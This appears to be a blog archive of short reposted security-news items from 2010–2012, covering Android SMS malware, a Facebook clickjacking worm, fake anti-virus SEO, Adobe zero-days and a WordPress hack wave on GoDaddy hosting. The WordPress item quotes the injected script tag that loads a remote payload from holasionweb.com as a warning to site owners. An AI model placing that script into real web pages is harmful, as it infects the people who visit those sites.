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Light might prompt graphene devices on demand

Icon Written by pruffin on October 22, 2012 – 12:52 am

ScienceDaily (Oct. 10, 2012) — Rice University researchers are doping graphene with light in a way that could lead to the more efficient design and manufacture of electronics, as well as novel security and cryptography devices. http://www.sciencedaily.com/releases/2012/10/121010141450.htm

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Android malware spies on your SMS messages – but is it part of the Zeus family? | Naked Security

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Android malware spies on your SMS messages – but is it part of the Zeus family? | Naked Security.

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How phone hacking worked and how to make sure you’re not a victim | Naked Security

Icon Written by admin on July 13, 2011 – 5:38 pm

How phone hacking worked and how to make sure you’re not a victim | Naked Security.

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Viral clickjacking ‘Like’ worm hits Facebook users

Icon Written by pruffin on June 9, 2010 – 11:55 am

For the Full Story – Sophos.com Blogs Hundreds of thousands of Facebook users have fallen for a social-engineering trick which allowed a clickjacking worm to spread quickly over Facebook this holiday weekend.

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The curious case of Facebook’s “horrific photo”

Icon Written by pruffin on June 9, 2010 – 11:48 am

For the Full Story – Sophos.com Blogs “This horrific photo forced photographer to kill himself!” said the messages, which spread via Facebook like wildfire at the weekend – but what was the real story behind the phenomenon?  And how should you clean-up your Facebook account if you were hit? 

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Video: Blackhat SEO and Fake Anti-Virus – like chocolate and peanut butter

Icon Written by pruffin on June 9, 2010 – 11:30 am

For the Full Story – Sophos.com blogs Find out how scammers are gaming Google and Bing to distribute malware attacks in ways your users may not expect. Read more and watch Chet Wisniewski’s latest video.

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Malware worms its way onto Olympus digital camera

Icon Written by pruffin on June 9, 2010 – 11:16 am

For the Full Story – Sophos.com Blogs Olympus Japan has admitted that some of its Stylus Touch 6010 digital cameras came complete with an unwanted worm – capable of infecting Windows. Learn more about the embarrassing infection, and how you can prevent yourself from being hit.

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Zero-day attacks: Adobe products at exploit risk

Icon Written by pruffin on June 9, 2010 – 11:08 am

For the full story Sophos.com Blogs Adobe’s products are once again in the firing line, as hackers are exploiting critical unpatched vulnerabilities in the Adobe Reader, Acrobat and Flash Player products. Users are affected regardless of whether they’re running Windows, Mac OS X, Linux, Solaris or UNIX. 

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WordPress Hacked with holasionweb on Go Daddy!

Icon Written by pruffin on May 25, 2010 – 10:52 am

Read the whole story@ www.wpsecuritylock.com WordPress sites self-hosted on GoDaddy.com are reporting being maliciously hacked today with <script src=”http://holasionweb.com/oo.php”></script>! Warning: This is dangerous malware! Anyone visiting an infected website can get their computers infected, if they do not have a up-to-date anti-virus program using the latest threat definitions. If you receive a message to download [...]

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Facebook notifications leaked users’ IP addresses

Icon Written by pruffin on May 14, 2010 – 11:16 am

Read Whole story @ Sophos ENews Sophos blogger Chet Wisniewski explores claims that Facebook email notifications might be sharing a little too much information about the user at the other end of the line? Discover more about the problem, and how Facebook appears to be combating it.

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